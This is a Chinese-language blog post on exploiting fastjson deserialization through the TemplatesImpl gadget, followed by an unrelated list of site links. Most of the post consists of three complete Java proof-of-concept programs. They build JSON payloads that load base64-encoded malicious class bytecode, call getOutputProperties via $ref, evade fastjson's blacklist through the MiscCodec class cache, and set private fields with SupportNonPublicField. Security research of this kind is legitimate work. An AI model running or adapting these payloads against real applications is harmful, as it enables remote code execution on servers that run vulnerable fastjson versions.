当前位置: 首页 > news >正文

搞fastjson总是惦记TemplatesImpl谁懂

fastjson搞笑的逻辑

搞jackson的时候提到,jackson 没有setter的情况下会调用getter,于是有TemplatesImpl链。我一拍大腿说那fastjson通过$ref也可以啊!POC

public class Id_MINIMAL_Class_TemplatesImpl {public static void main(String[] args) throws IOException {String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");String jsonInput = aposToQuotes("[{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +"'transletBytecodes':['"+exp+"'],\n" +"'transletName':'test'},\n" +"{\"$ref\":\"$[0].outputProperties\"}\n" +"]");System.out.printf(jsonInput);JSON.parse(jsonInput);}
​public static String aposToQuotes(String json){return json.replace("'","\"");}
​public static String readClassStr(String cls) throws IOException {byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));return Base64.encode(code1);}
}

结果发现1.2.36早就把TemplatesImpl加入黑名单了,而>=1.2.36才能通过$ref调用getter

那我强行用MiscCodec缓存绕过

public class Id_MINIMAL_Class_TemplatesImpl {public static void main(String[] args) throws IOException {String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");String jsonInput = aposToQuotes("[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +"'transletBytecodes':['"+exp+"'],\n" +"'transletName':'test'},\n" +"{\"$ref\":\"$[1].outputProperties\"}\n" +"]");System.out.printf(jsonInput);JSON.parse(jsonInput);}
​public static String aposToQuotes(String json){return json.replace("'","\"");}
​public static String readClassStr(String cls) throws IOException {byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));return Base64.encode(code1);}
}

结果发现没反应也没报错

调试跟进去发现TemplatesImpl没赋上值

image-20241025121532025

在我的多方调试下,终于发现,fastjson反序列化不能调用私有和保护setter进行赋值:

所以只能用Feature.SupportNonPublicField直接对字段反射赋值

public class Id_MINIMAL_Class_TemplatesImpl {public static void main(String[] args) throws IOException {String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");String jsonInput = aposToQuotes("[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +"'_bytecodes':['"+exp+"'],\n" +"'_name':'test'," +"'_tfactory':{}},\n" +"{\"$ref\":\"$[1].outputProperties\"}\n" +"]");System.out.printf(jsonInput);JSON.parse(jsonInput, Feature.SupportNonPublicField);}
​public static String aposToQuotes(String json){return json.replace("'","\"");}
​public static String readClassStr(String cls) throws IOException {byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));return Base64.encode(code1);}
}

此贴终结


http://www.mrgr.cn/news/58503.html

相关文章:

  • LeetCode Hot 100:图论
  • 鸿蒙到底是不是纯血?到底能不能走向世界?
  • C#基础知识-枚举
  • Forward Dynamics Prediction 和 Inverse Dynamics Prediction 在机器人控制与导航中的应用
  • 交换基础简述
  • 【福建医科大学附属第一医院-注册安全分析报告】
  • SpingBoot原理
  • 线性表->链表(数据结构)
  • 在Android开发中WebView的详细使用方法
  • 【日常记录-Java】可变长度参数
  • 写导出接口的一些理解
  • lazada 商品详情 API 的获取与应用
  • python调用PIL库处理图片
  • JS轮播图实现自动轮播、悬浮停止轮播、点击切换,下方指示器与图片联动效果
  • 【人工智能】——matplotlib教程
  • 广州企业管理咨询公司排名前十
  • 大尺寸反射式液晶显示模块行业分析:预计2030年全球市场规模将达到2,020.21百万美元
  • echarts给Y轴的不同轴线设置不同的颜色的样式
  • 【OpenAI】第二节(Token)关于ChatGPT的Token你了解多少?最全Token讲解过程!
  • SpringMVC8-HttpMessageConverter
  • 《企业自设2-软件测试》搭建locust环境+使用它搜索百度接口
  • 在Flutter中实现排行榜滑动阻尼效果
  • 大家都在用的HR招聘管理工具:国内Top5排名
  • 免费开源!语音识别平台让医疗对话更高效,沟通更准确
  • xtu oj 字母序列
  • 时间数据可视化基础实验(南丁格尔玫瑰图)——Python热狗大胃王比赛数据集